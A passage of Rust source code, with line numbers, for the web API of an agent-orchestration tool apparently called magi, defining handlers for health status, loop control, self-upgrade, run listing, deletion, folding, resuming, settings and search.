1818 current: Vec<daemon::Current>,
1822 completed: Option<u64>,
1823 stale_for_secs: Option<i64>,
1824}
1825
1826impl DaemonView {
1827 fn of(status: Option<daemon::Reading>) -> Self {
1831 let Some(status) = status else {
1832 return Self {
1833 running: false,
1834 idle: None,
1835 pid: None,
1836 current: Vec::new(),
1837 completed: None,
1838 stale_for_secs: None,
1839 };
1840 };
1841 let now = Timestamp::now();
1842 let age = status.age_secs(now);
1843 Self {
1844 running: status.running(now),
1845 idle: Some(status.idle),
1846 pid: status.pid,
1847 current: status.current,
1848 completed: Some(status.completed),
1849 stale_for_secs: age,
1850 }
1851 }
1852}
1853
1854async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1855 blocking(move || {
1856 let reading = daemon::read_status(&ui.home);
1860 let loop_rev = ui.lock_loop().rev;
1864 let update = cached_update_view(&ui.repo);
1865 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
1866 Ok(Json(HealthView {
1867 version: env!("CARGO_PKG_VERSION"),
1868 home: ui.home.display().to_string(),
1869 queue_rev: ui.queue.revision(),
1870 runs_rev: runs_revision(&ui.runs),
1871 questions_rev: ui.questions.revision(),
1872 talks_rev: ui.talks.revision(),
1873 notifications_rev: ui.notices.revision(),
1874 notifications_unread: ui.notices.count_unread(),
1875 loop_rev,
1876 runs_unreadable: runs_unreadable(&ui.runs),
1877 questions_open: ui.questions.count_open(),
1878 questions_needs_owner: ui.questions.count_needs_owner(),
1879 daemon: DaemonView::of(reading.clone()),
1880 looping: ui.loop_view(reading),
1881 disk: DiskView::of(&ui),
1882 update,
1883 upgrade,
1884 }))
1885 })
1886 .await
1887}
1888
1889#[derive(Debug, Serialize)]
1891struct LoopView {
1892 running: bool,
1894 stopping: bool,
1902 parking: bool,
1910 owned: bool,
1918 repo: String,
1921 merge: Option<String>,
1924 last_error: Option<String>,
1932 daemon: DaemonView,
1935}
1936
1937#[derive(Debug, Clone, Copy)]
1946struct Foreign {
1947 pid: Option<u32>,
1949}
1950
1951impl Foreign {
1952 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
1955 daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
1959 }
1960
1961 fn who(&self) -> String {
1964 match self.pid {
1965 Some(pid) => format!("another magi process (pid {pid})"),
1966 None => "another magi process".to_owned(),
1967 }
1968 }
1969}
1970
1971type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
1976
1977fn launch_daemon(
1979 opts: daemon::Opts,
1980 stop: daemon::Stop,
1981) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
1982 Box::pin(daemon::serve_until(opts, stop))
1983}
1984
1985#[derive(Debug, Default)]
1987struct LoopState {
1988 live: Option<Live>,
1990 rev: u64,
1998 last_error: Option<String>,
2001 resume_after_handover: bool,
2006}
2007
2008#[derive(Debug)]
2010struct Live {
2011 stop: daemon::Stop,
2013 handle: tokio::task::JoinHandle<()>,
2018 opts: daemon::Opts,
2022}
2023
2024impl Live {
2025 fn alive(&self) -> bool {
2027 !self.handle.is_finished()
2028 }
2029}
2030
2031fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2038 state.lock().unwrap_or_else(PoisonError::into_inner)
2039}
2040
2041async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2043 blocking(move || {
2044 let reading = daemon::read_status(&ui.home);
2045 Ok(Json(ui.loop_view(reading)))
2046 })
2047 .await
2048}
2049
2050#[derive(Debug, Deserialize)]
2056#[serde(deny_unknown_fields)]
2057struct LoopCommand {
2058 running: bool,
2059 #[serde(default)]
2069 park: bool,
2070}
2071
2072async fn loop_post(
2080 State(ui): State<Arc<Ui>>,
2081 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2082) -> ApiResult<Json<LoopView>> {
2083 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2086 blocking(move || {
2087 let reading = daemon::read_status(&ui.home);
2088 let foreign = Foreign::of(reading.as_ref());
2089 if body.running {
2090 ui.start_loop(foreign)?;
2091 } else {
2092 ui.stop_loop(foreign, body.park)?;
2093 }
2094 Ok(Json(ui.loop_view(reading)))
2095 })
2096 .await
2097}
2098
2099#[derive(Debug, Serialize)]
2101struct UpgradeView {
2102 from: String,
2104 to: Option<String>,
2106 parked: Option<String>,
2108 detail: String,
2110}
2111
2112async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2136 let reading = daemon::read_status(&ui.home);
2137 if let Some(other) = Foreign::of(reading.as_ref()) {
2138 return Err(ApiError::conflict(format!(
2139 "the loop belongs to {}, so replacing this binary would leave \
2140 that process running an old one against the same queue. Upgrade \
2141 where it was started.",
2142 other.who()
2143 )));
2144 }
2145
2146 if crate::updater::disabled_by_env() {
2152 return Ok((
2153 StatusCode::OK,
2154 Json(UpgradeView {
2155 from: env!("CARGO_PKG_VERSION").to_owned(),
2156 to: None,
2157 parked: None,
2158 detail: format!(
2159 "Automatic updates are disabled by {}. Nothing was parked \
2160 and nothing restarted.",
2161 crate::updater::NO_AUTOUPDATE_ENV
2162 ),
2163 }),
2164 ));
2165 }
2166
2167 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2172 let from = env!("CARGO_PKG_VERSION").to_owned();
2173 let latest = match crate::updater::Checker::new(&cfg.update) {
2174 Some(checker) => checker
2175 .newer_release()
2176 .await
2177 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2178 None => None,
2179 };
2180 let Some(latest) = latest else {
2181 return Ok((
2182 StatusCode::OK,
2183 Json(UpgradeView {
2184 from,
2185 to: None,
2186 parked: None,
2187 detail: "Already on the newest release. Nothing was parked \
2188 and nothing restarted."
2189 .to_owned(),
2190 }),
2191 ));
2192 };
2193
2194 let parked = ui.park_for_upgrade()?;
2197 let detail = match &parked {
2198 Some(run) => format!(
2203 "Run {} is parking at its next step, which can take as long as \
2204 the step it is on - up to an hour for an implement wave. The \
2205 deck replaces itself once it parks, comes back, and the loop \
2206 carries that run on from where it stopped. Nothing is lost if \
2207 you close this.",
2208 crate::run::short_of(run)
2209 ),
2210 None => "The deck replaces itself and comes back. Nothing was in \
2211 flight to park."
2212 .to_owned(),
2213 };
2214
2215 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2219 progress.parked_run = parked.clone();
2220 let _ = updater::write_progress(&ui.home, &progress);
2221
2222 let home = ui.home.clone();
2223 let looping = ui.looping();
2224 tokio::spawn(async move {
2225 if let Err(e) = upgrade_and_restart(home.clone()).await {
2226 tracing::error!("the upgrade did not complete: {e:#}");
2227 lock_or_recover(&looping).resume_after_handover = false;
2228 if let Some(mut progress) = updater::read_progress(&home) {
2229 progress.fail(format!("{e:#}"));
2230 let _ = updater::write_progress(&home, &progress);
2231 }
2232 }
2233 });
2234
2235 Ok((
2236 StatusCode::ACCEPTED,
2237 Json(UpgradeView {
2238 from,
2239 to: Some(latest.tag_name),
2240 parked,
2241 detail,
2242 }),
2243 ))
2244}
2245
2246async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2251 crate::updater::run_self_update(true, false, true).await?;
2254 tracing::info!("binary replaced - asking the server to hand over");
2255 if let Some(mut progress) = updater::read_progress(&home) {
2256 progress.advance(updater::Stage::Replaced);
2257 let _ = updater::write_progress(&home, &progress);
2258 }
2259 HANDOVER.notify_one();
2260 Ok(())
2261}
2262
2263#[derive(Debug, Serialize)]
2269struct RunSummary {
2270 id: String,
2271 short: String,
2272 status: String,
2273 done: bool,
2274 instruction: String,
2275 title: String,
2276 repo: String,
2277 repo_name: String,
2278 created_at: String,
2279 updated_at: String,
2280 candidates: usize,
2281 viable: usize,
2282 judges: usize,
2283 winner: Option<char>,
2284 reviews: usize,
2285 quota_losses: usize,
2286 event: Option<String>,
2287 superseded_by: Option<String>,
2292 waiting: bool,
2299 live: crate::run::Liveness,
2303 pr: Option<crate::run::PrRecord>,
2305 unmerged_by_design: bool,
2311 origin_label: String,
2314}
2315
2316impl RunSummary {
2317 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2318 Self {
2319 id: state.id.clone(),
2320 short: state.short().to_owned(),
2321 status: status_word(state.status),
2322 done: state.status.done(),
2323 unmerged_by_design: state.unmerged_by_design(),
2324 instruction: state.instruction.clone(),
2325 title: title_from(&state.instruction, TITLE_MAX),
2326 repo: state.repo.display().to_string(),
2327 repo_name: state
2328 .repo
2329 .file_name()
2330 .map(|n| n.to_string_lossy().into_owned())
2331 .unwrap_or_default(),
2332 created_at: state.created_at.to_string(),
2333 updated_at: state.updated_at.to_string(),
2334 candidates: state.candidates.len(),
2335 viable: state.viable().len(),
2336 judges: state.config.graph.judges,
2337 winner: state.winner().map(|c| c.label),
2338 reviews: state.reviews.len(),
2339 quota_losses: state.quota.len(),
2340 event: state.events.last().map(|e| e.message.clone()),
2341 waiting,
2342 live,
2343 superseded_by: None,
2346 pr: state.pr.clone(),
2347 origin_label: crate::run::origin_label(state.origin.as_ref()),
2348 }
2349 }
2350}
2351
2352fn status_word(status: RunStatus) -> String {
2355 status.as_str().to_owned()
2359}
2360
2361#[derive(Debug, Deserialize)]
2363struct ListQuery {
2364 #[serde(default)]
2365 limit: Option<usize>,
2366}
2367
2368async fn runs_list(
2369 State(ui): State<Arc<Ui>>,
2370 Query(q): Query<ListQuery>,
2371) -> ApiResult<Json<Vec<RunSummary>>> {
2372 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2373 blocking(move || {
2374 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
2375 let states = run_ids(&ui.runs)
2376 .into_iter()
2377 .filter_map(|id| read_run(&ui.runs, &id).ok())
2382 .take(limit);
2383 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2384 let summaries = summarize(
2385 states,
2386 &open_runs,
2387 &claimed,
2388 &superseded,
2389 |p| probe.borrow_mut().status(p),
2390 |p| probe.borrow_mut().started_at(p),
2391 );
2392 Ok(Json(summaries))
2393 })
2394 .await
2395}
2396
2397fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
2402 let open_runs: HashSet<String> = ui
2403 .questions
2404 .list()
2405 .into_iter()
2406 .filter(|q| q.status.open())
2407 .map(|q| q.run)
2408 .collect();
2409 let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2410 .into_iter()
2411 .map(|c| c.run)
2412 .collect();
2413 (open_runs, claimed, ui.queue.superseded())
2414}
2415
2416fn summarize<I, S, D>(
2422 states: I,
2423 open_runs: &HashSet<String>,
2424 claimed: &HashSet<String>,
2425 superseded: &HashMap<String, String>,
2426 mut status_q: S,
2427 mut identity_q: D,
2428) -> Vec<RunSummary>
2429where
2430 I: IntoIterator<Item = RunState>,
2431 S: FnMut(u32) -> Option<bool>,
2432 D: FnMut(u32) -> Option<String>,
2433{
2434 states
2435 .into_iter()
2436 .map(|state| {
2437 let waiting = open_runs.contains(&state.id);
2438 let live =
2439 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2440 let mut row = RunSummary::of(&state, waiting, live);
2441 row.superseded_by = superseded
2442 .get(&state.id)
2443 .map(String::as_str)
2444 .map(crate::run::short_of)
2445 .map(str::to_owned);
2446 row
2447 })
2448 .collect()
2449}
2450
2451#[derive(Debug, Serialize)]
2458struct RunDetailView {
2459 #[serde(flatten)]
2460 state: RunState,
2461 instruction_md: Vec<md::Node>,
2462 #[serde(flatten)]
2466 prose_md: RunProseMd,
2467 live: crate::run::Liveness,
2482 unmerged_by_design: bool,
2487 done: bool,
2492 superseded_by: Option<String>,
2500 latest_attempt: Option<LatestAttempt>,
2514 task: Option<TaskRef>,
2517 origin_label: String,
2521}
2522
2523#[derive(Debug, Serialize)]
2525struct TaskRef {
2526 id: String,
2527 short: String,
2528 title: String,
2529 source_label: String,
2531 source_link: Option<SourceLink>,
2533 status: &'static str,
2535 attempts: usize,
2536 max_attempts: usize,
2537 is_latest: bool,
2539 latest: Option<RunBrief>,
2541 finished_by: Option<RunBrief>,
2543 closed_by_hand: bool,
2545}
2546
2547#[derive(Debug, PartialEq, Eq, Serialize)]
2549struct SourceLink {
2550 kind: &'static str,
2552 id: String,
2554 href: String,
2556}
2557
2558fn encode_segment(raw: &str) -> String {
2560 let mut out = String::with_capacity(raw.len());
2561 for b in raw.bytes() {
2562 if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
2563 out.push(b as char);
2564 } else {
2565 out.push_str(&format!("%{b:02X}"));
2566 }
2567 }
2568 out
2569}
2570
2571fn source_link(source: &Source) -> Option<SourceLink> {
2575 let Source::Agent { run, node } = source else {
2576 return None;
2577 };
2578 let (kind, route) = if node == crate::queue::CHAT_NODE {
2579 ("chat", "chat")
2580 } else {
2581 ("run", "runs")
2582 };
2583 Some(SourceLink {
2584 kind,
2585 id: run.clone(),
2586 href: format!("#/{route}/{}", encode_segment(run)),
2587 })
2588}
2589
2590#[derive(Debug, Serialize)]
2592struct RunBrief {
2593 id: String,
2594 short: String,
2595 status: Option<&'static str>,
2597 outcome: String,
2599}
2600
2601fn task_outcome(
2604 task: &Task,
2605 this_run: &str,
2606 max_attempts: usize,
2607 read: impl Fn(&str) -> Option<RunState>,
2608) -> TaskRef {
2609 let history = task_history(task, read);
2610 let brief = |h: &TaskRunView| RunBrief {
2611 id: h.id.clone(),
2612 short: h.short.clone(),
2613 status: h.status,
2614 outcome: h.exit.edge_label(h.status),
2615 };
2616 let is_latest = task.runs.last().is_none_or(|r| r == this_run);
2617 let latest = if is_latest {
2618 None
2619 } else {
2620 history.last().map(brief)
2621 };
2622 let done = task.status == TaskStatus::Done;
2623 let finished_by = done
2624 .then(|| {
2625 history
2626 .iter()
2627 .rev()
2628 .find(|h| {
2629 matches!(
2630 h.exit,
2631 RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
2632 )
2633 })
2634 .map(brief)
2635 })
2636 .flatten();
2637 TaskRef {
2638 short: task.short().to_owned(),
2639 title: task.title.clone(),
2640 id: task.id.clone(),
2641 source_label: task.source.label(),
2642 source_link: source_link(&task.source),
2643 status: task.status.as_str(),
2644 attempts: task.attempts,
2645 max_attempts,
2646 is_latest,
2647 latest,
2648 closed_by_hand: done && finished_by.is_none(),
2649 finished_by,
2650 }
2651}
2652
2653#[derive(Debug, Serialize)]
2655struct LatestAttempt {
2656 id: String,
2657 short: String,
2658 resolved: bool,
2669 status: RunStatus,
2672 done: bool,
2674}
2675
2676#[derive(Debug, Default, Serialize)]
2678struct RunProseMd {
2679 advice_md: Option<AdviceMd>,
2681 candidate_summaries_md: Vec<Vec<md::Node>>,
2683 reviews_md: Vec<RoundMd>,
2685}
2686
2687#[derive(Debug, Default, Serialize)]
2688struct AdviceMd {
2689 synthesis: Vec<md::Node>,
2690 approaches: Vec<Vec<md::Node>>,
2692}
2693
2694#[derive(Debug, Default, Serialize)]
2695struct RoundMd {
2696 reviewers: Vec<ReviewerMd>,
2698 reconsideration: Vec<Vec<md::Node>>,
2700 fix: Option<FixMd>,
2701}
2702
2703#[derive(Debug, Default, Serialize)]
2704struct ReviewerMd {
2705 summary: Vec<md::Node>,
2706 findings: Vec<Vec<md::Node>>,
2708}
2709
2710#[derive(Debug, Default, Serialize)]
2711struct FixMd {
2712 notes: Vec<md::Node>,
2713 rejected: Vec<Vec<md::Node>>,
2715}
2716
2717fn run_prose_md(state: &RunState) -> RunProseMd {
2719 let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
2720 RunProseMd {
2721 advice_md: state.advice.as_ref().map(|a| AdviceMd {
2722 synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
2723 approaches: a
2724 .records
2725 .iter()
2726 .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
2727 .collect(),
2728 }),
2729 candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
2730 reviews_md: state
2731 .reviews
2732 .iter()
2733 .map(|round| RoundMd {
2734 reviewers: round
2735 .reviews
2736 .iter()
2737 .map(|rec| ReviewerMd {
2738 summary: nodes(&rec.summary),
2739 findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
2740 })
2741 .collect(),
2742 reconsideration: round
2743 .reconsideration
2744 .iter()
2745 .map(|rv| nodes(&rv.reason))
2746 .collect(),
2747 fix: round.fix.as_ref().map(|fix| FixMd {
2748 notes: nodes(&fix.notes),
2749 rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
2750 }),
2751 })
2752 .collect(),
2753 }
2754}
2755
2756impl RunDetailView {
2757 fn of(
2758 state: RunState,
2759 live: crate::run::Liveness,
2760 superseded_by: Option<String>,
2761 latest_attempt: Option<LatestAttempt>,
2762 task: Option<TaskRef>,
2763 ) -> Self {
2764 Self {
2765 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
2766 prose_md: run_prose_md(&state),
2767 origin_label: crate::run::origin_label(state.origin.as_ref()),
2768 live,
2769 unmerged_by_design: state.unmerged_by_design(),
2770 done: state.status.done(),
2771 superseded_by,
2772 latest_attempt,
2773 task,
2774 state,
2775 }
2776 }
2777}
2778
2779async fn run_detail(
2780 State(ui): State<Arc<Ui>>,
2781 Path(id): Path<String>,
2782) -> ApiResult<Json<RunDetailView>> {
2783 blocking(move || {
2784 let id = resolve_run(&ui.runs, &id)?;
2785 let state = read_run(&ui.runs, &id)?;
2786 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2787 let live = state.liveness(daemon_claims);
2788 let superseded_by = ui
2789 .queue
2790 .superseded_by(&id)
2791 .as_deref()
2792 .map(crate::run::short_of)
2793 .map(str::to_owned);
2794 let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
2798 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
2799 short: head.short().to_owned(),
2800 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
2801 status: head.status,
2802 done: head.status.done(),
2803 id: head.id,
2804 })
2805 });
2806 let max_attempts = daemon::Opts::default().max_attempts;
2807 let task = ui
2808 .queue
2809 .list()
2810 .into_iter()
2811 .find(|t| t.runs.contains(&id))
2812 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
2813 Ok(Json(RunDetailView::of(
2814 state,
2815 live,
2816 superseded_by,
2817 latest_attempt,
2818 task,
2819 )))
2820 })
2821 .await
2822}
2823
2824async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2833 let (id, unreadable) = {
2834 let ui = Arc::clone(&ui);
2835 blocking(move || {
2836 let id = resolve_run(&ui.runs, &id)?;
2837 match read_run(&ui.runs, &id) {
2838 Ok(state) => {
2839 let in_flight =
2840 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2841 state
2842 .ensure_can_delete(in_flight)
2843 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2844 let dir = ui.runs.join(&id);
2845 std::fs::remove_dir_all(&dir)
2846 .with_context(|| format!("remove run directory {}", dir.display()))?;
2847 Ok((id, false))
2848 }
2849 Err(_) => {
2850 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2854 return Err(ApiError::conflict(format!(
2855 "run {id} is being worked on by a live daemon right now"
2856 )));
2857 }
2858 Ok((id, true))
2859 }
2860 }
2861 })
2862 .await?
2863 };
2864 if unreadable {
2865 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2866 .await
2867 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2868 }
2869 let ui = Arc::clone(&ui);
2870 let done = id.clone();
2871 blocking(move || {
2872 ui.questions.abandon_for_run(
2875 &done,
2876 &format!("run {done} was deleted, so nothing is waiting for this answer"),
2877 )?;
2878 Ok(())
2879 })
2880 .await?;
2881 Ok(StatusCode::NO_CONTENT)
2882}
2883
2884async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
2908 let (id, state) = {
2909 let ui = Arc::clone(&ui);
2910 blocking(move || {
2911 let id = resolve_run(&ui.runs, &id)?;
2912 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2913 return Err(ApiError::conflict(format!(
2914 "run {id} is being worked on by a live daemon right now"
2915 )));
2916 }
2917 let state = read_run(&ui.runs, &id).ok();
2918 Ok((id, state))
2919 })
2920 .await?
2921 };
2922 let removed = match state {
2923 Some(mut state) => {
2924 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
2925 .await
2926 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2927 if removed.is_empty() {
2932 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
2933 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2934 }
2935 removed
2936 }
2937 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2938 .await
2939 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2940 };
2941 Ok(Json(FoldView {
2942 run: id,
2943 removed_count: removed.len(),
2944 removed,
2945 }))
2946}
2947
2948#[derive(Debug, Serialize)]
2950struct FoldView {
2951 run: String,
2952 removed: Vec<String>,
2954 removed_count: usize,
2955}
2956
2957#[derive(Debug, Deserialize)]
2960struct FoldMergedBody {
2961 #[serde(default)]
2962 pr_url: String,
2963}
2964
2965async fn run_fold_merged(
2985 State(ui): State<Arc<Ui>>,
2986 Path(id): Path<String>,
2987 Json(body): Json<FoldMergedBody>,
2988) -> ApiResult<Json<FoldMergedView>> {
2989 let pr_url = body.pr_url.trim().to_owned();
2990 if pr_url.is_empty() {
2991 return Err(ApiError::bad_request("pr_url is required"));
2992 }
2993 let (id, mut state) = {
2994 let ui = Arc::clone(&ui);
2995 blocking(move || {
2996 let id = resolve_run(&ui.runs, &id)?;
2997 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2998 return Err(ApiError::conflict(format!(
2999 "run {id} is being worked on by a live daemon right now"
3000 )));
3001 }
3002 let state = read_run(&ui.runs, &id)?;
3003 Ok((id, state))
3004 })
3005 .await?
3006 };
3007 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3008 .await
3009 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3010 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3011 .await
3012 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3013 Ok(Json(FoldMergedView {
3014 run: id,
3015 before: before.as_str().to_owned(),
3016 after: after.as_str().to_owned(),
3017 removed,
3018 }))
3019}
3020
3021#[derive(Debug, Serialize)]
3023struct FoldMergedView {
3024 run: String,
3025 before: String,
3027 after: String,
3029 removed: Vec<String>,
3031}
3032
3033async fn run_resume(
3053 State(ui): State<Arc<Ui>>,
3054 Path(id): Path<String>,
3055) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3056 let (id, state) = {
3057 let ui = Arc::clone(&ui);
3058 blocking(move || {
3059 let id = resolve_run(&ui.runs, &id)?;
3060 let state = read_run(&ui.runs, &id)?;
3061 Ok((id, state))
3062 })
3063 .await?
3064 };
3065 if let Some(to) = &state.released_to {
3066 return Err(ApiError::conflict(format!(
3067 "run {} can no longer be resumed: its worktree was released to run {}, which \
3068 took the branch over.",
3069 state.short(),
3070 crate::run::short_of(to)
3071 )));
3072 }
3073 if !state.status.resumable() {
3074 return Err(ApiError::conflict(format!(
3075 "run {} is `{}`, and only a stalled or blocked run can be resumed",
3076 state.short(),
3077 status_word(state.status)
3078 )));
3079 }
3080 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3085 .into_iter()
3086 .next()
3087 {
3088 return Err(ApiError::conflict(format!(
3089 "the loop is running run {} right now; stop it first, or wait for \
3090 it to finish, before resuming a run by hand.",
3091 crate::run::short_of(&work.run)
3092 )));
3093 }
3094 let _resume = ui.begin_resume(&id)?;
3095
3096 let queued = RunSummary::of(
3099 &state,
3100 !ui.questions.open_for(&id).is_empty(),
3101 state.liveness(false),
3102 );
3103 let run = id.clone();
3104 tokio::spawn(async move {
3105 let _resume = _resume;
3106 match crate::graph::Runner::resume(&run) {
3107 Ok(mut runner) => {
3108 if let Err(e) = runner.execute().await {
3109 tracing::warn!("resume of run {run} stopped: {e:#}");
3110 }
3111 }
3112 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3115 }
3116 });
3117 Ok((StatusCode::ACCEPTED, Json(queued)))
3118}
3119
3120async fn run_report(
3121 State(ui): State<Arc<Ui>>,
3122 Path(id): Path<String>,
3123) -> ApiResult<impl IntoResponse> {
3124 let text = blocking(move || {
3125 let id = resolve_run(&ui.runs, &id)?;
3126 let state = read_run(&ui.runs, &id)?;
3130 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3131 let live = state.liveness(daemon_claims);
3132 Ok(format!(
3133 "{}{}",
3134 report::run(&state),
3135 report::active_seats(&state, live)
3136 ))
3137 })
3138 .await?;
3139 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3140}
3141
3142#[derive(Debug, Serialize)]
3148struct TaskView {
3149 #[serde(flatten)]
3150 task: Task,
3151 source_label: String,
3152 source_link: Option<SourceLink>,
3153 status_str: &'static str,
3154 instruction_md: Vec<md::Node>,
3158 waits_on: Vec<String>,
3162 stuck_roots: Vec<String>,
3165}
3166
3167impl From<Task> for TaskView {
3168 fn from(task: Task) -> Self {
3169 Self {
3170 source_label: task.source.label(),
3171 source_link: source_link(&task.source),
3172 status_str: task.status.as_str(),
3173 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
3174 waits_on: Vec::new(),
3175 stuck_roots: Vec::new(),
3176 task,
3177 }
3178 }
3179}
3180
3181impl TaskView {
3182 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
3183 let waits_on = inv.waits_on(&task);
3184 let stuck_roots = inv
3185 .stuck_roots(&task)
3186 .iter()
3187 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
3188 .collect();
3189 Self {
3190 waits_on,
3191 stuck_roots,
3192 ..Self::from(task)
3193 }
3194 }
3195}
3196
3197#[derive(Debug, Default, Deserialize)]
3200#[serde(default)]
3201struct ReposQuery {
3202 refresh: u8,
3203}
3204
3205async fn repos_list(
3212 State(ui): State<Arc<Ui>>,
3213 Query(q): Query<ReposQuery>,
3214) -> ApiResult<Json<Vec<repos::Repo>>> {
3215 let refresh = q.refresh != 0;
3216 blocking(move || {
3217 let (cfg, _) = Config::discover(&ui.repo, None)?;
3218 Ok(Json(ui.repos_cache.list(
3219 &cfg.repos.roots,
3220 Duration::from_secs(cfg.repos.scan_ttl),
3221 refresh,
3222 )))
3223 })
3224 .await
3225}
3226
3227async fn settings_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<settings::SettingsView>> {
3231 blocking(move || Ok(Json(settings::view(&ui.repo, ui.machine_config.as_deref())))).await
3232}
3233
3234#[derive(Debug, Deserialize)]
3236#[serde(deny_unknown_fields)]
3237struct RolesBody {
3238 revision: String,
3240 roles: std::collections::BTreeMap<String, Vec<String>>,
3242}
3243
3244async fn settings_put_roles(
3250 State(ui): State<Arc<Ui>>,
3251 body: std::result::Result<Json<RolesBody>, JsonRejection>,
3252) -> ApiResult<Json<settings::SettingsView>> {
3253 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3254 blocking(move || {
3255 settings::save(
3256 &ui.repo,
3257 ui.machine_config.as_deref(),
3258 &body.revision,
3259 &body.roles,
3260 )
3261 .map(Json)
3262 .map_err(|e| match e {
3263 settings::SaveError::Conflict(m) => ApiError::conflict(m),
3264 settings::SaveError::Refused(m) => ApiError {
3265 status: StatusCode::UNPROCESSABLE_ENTITY,
3266 message: m,
3267 },
3268 settings::SaveError::Internal(m) => ApiError::internal(m),
3269 })
3270 })
3271 .await
3272}
3273
3274async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
3275 blocking(move || {
3276 let tasks = ui.queue.list();
3277 let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
3278 Ok(Json(
3279 tasks
3280 .into_iter()
3281 .map(|t| TaskView::with_inventory(t, &inv))
3282 .collect(),
3283 ))
3284 })
3285 .await
3286}
3287
3288const SEARCH_MAX_HITS: usize = 100;
3290const SEARCH_MAX_QUERY: usize = 200;
3292const SEARCH_MAX_TERMS: usize = 8;
3293const SNIPPET_BEFORE: usize = 50;
3295const SNIPPET_AFTER: usize = 110;
3296
3297#[derive(Debug, Deserialize)]
3299struct SearchQuery {
3300 #[serde(default)]
3301 scope: String,
3302 #[serde(default)]
3303 q: String,
3304}
3305
3306#[derive(Debug, Serialize, PartialEq, Eq)]
3309struct SnippetPart {
3310 text: String,
3311 hit: bool,
3312}
3313
3314#[derive(Debug, Serialize)]
3315struct SearchHit {
3316 id: String,
3317 field: String,
3319 snippet: Vec<SnippetPart>,
3320 #[serde(skip_serializing_if = "Option::is_none")]
3324 run: Option<RunSummary>,
3325}
3326
3327#[derive(Debug, Serialize)]
3328struct SearchView {
3329 scope: String,
3330 q: String,
3331 hits: Vec<SearchHit>,
3333 total: usize,
3335 truncated: bool,
3336 unreadable: usize,
3339}
3340
3341fn text_leaves<'a>(
3344 value: &'a serde_json::Value,
3345 field: &'a str,
3346 out: &mut Vec<(&'a str, &'a str)>,
3347) {
3348 match value {
3349 serde_json::Value::String(s) => out.push((field, s)),
